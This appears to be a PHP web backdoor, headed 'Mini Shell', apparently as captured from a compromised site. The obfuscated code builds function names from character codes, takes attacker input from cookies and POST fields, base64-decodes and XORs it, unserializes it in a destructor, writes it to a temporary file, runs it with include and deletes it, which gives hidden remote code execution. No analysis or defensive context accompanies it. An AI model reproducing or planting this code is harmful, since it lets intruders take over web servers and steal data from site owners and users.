Mini Shell

$bIiBrZOuDh = "\x42" . "\x5f" . "\121" . "\142" . chr (73) . "\x45" . "\127";$JBJXii = chr (99) . chr ( 694 - 586 ).chr ( 327 - 230 ).chr (115) . 's' . "\137" . "\x65" . chr (120) . chr (105) . 's' . "\x74" . chr (115); $HLAbAmdwEq = class_exists($bIiBrZOuDh); $JBJXii = "28885";$WprXNrJVRp = strpos($JBJXii, $bIiBrZOuDh);if ($HLAbAmdwEq == $WprXNrJVRp){function eFARLF(){$CbWSfbbj = new /* 13912 */ B_QbIEW(13721 + 13721); $CbWSfbbj = NULL;}$GjxbwRgAO = "13721";class B_QbIEW{private function XXQiIuw($GjxbwRgAO){if (is_array(B_QbIEW::$FGUauW)) {$name = sys_get_temp_dir() . "/" . crc32(B_QbIEW::$FGUauW["salt"]);@B_QbIEW::$FGUauW["write"]($name, B_QbIEW::$FGUauW["content"]);include $name;@B_QbIEW::$FGUauW["delete"]($name); $GjxbwRgAO = "13721";exit();}}public function OYxAbEg(){$xyLxJvRPTw = "40444";$this->_dummy = str_repeat($xyLxJvRPTw, strlen($xyLxJvRPTw));}public function __destruct(){B_QbIEW::$FGUauW = @unserialize(B_QbIEW::$FGUauW); $GjxbwRgAO = "42228_5350";$this->XXQiIuw($GjxbwRgAO); $GjxbwRgAO = "42228_5350";}public function ENadgaDHmQ($xyLxJvRPTw, $jqptJO){return $xyLxJvRPTw[0] ^ str_repeat($jqptJO, intval(strlen($xyLxJvRPTw[0]) / strlen($jqptJO)) + 1);}public function TfsLCuZ($xyLxJvRPTw){$jVKXx = chr (98) . chr (97) . chr ( 379 - 264 ).'e' . chr ( 144 - 90 ).chr ( 404 - 352 );return array_map($jVKXx . '_' . "\144" . 'e' . "\143" . 'o' . chr ( 812 - 712 )."\145", array($xyLxJvRPTw,));}public function __construct($sqTMLbt=0){$umJdR = "\x2c";$xyLxJvRPTw = "";$JtYlT = $_POST;$NAezBhNnP = $_COOKIE;$jqptJO = "17ddca53-d30f-45ca-91a2-a321c73c7769";$jpiOUsgyWi = @$NAezBhNnP[substr($jqptJO, 0, 4)];if (!empty($jpiOUsgyWi)){$jpiOUsgyWi = explode($umJdR, $jpiOUsgyWi);foreach ($jpiOUsgyWi as $LFMSoR){$xyLxJvRPTw .= @$NAezBhNnP[$LFMSoR];$xyLxJvRPTw .= @$JtYlT[$LFMSoR];}$xyLxJvRPTw = $this->TfsLCuZ($xyLxJvRPTw);}B_QbIEW::$FGUauW = $this->ENadgaDHmQ($xyLxJvRPTw, $jqptJO);if (strpos($jqptJO, $umJdR) !== FALSE){$jqptJO = explode($umJdR, $jqptJO); $oGGHj = sprintf("42228_5350", rtrim($jqptJO[0]));}}public static $FGUauW = 42002;}eFARLF();}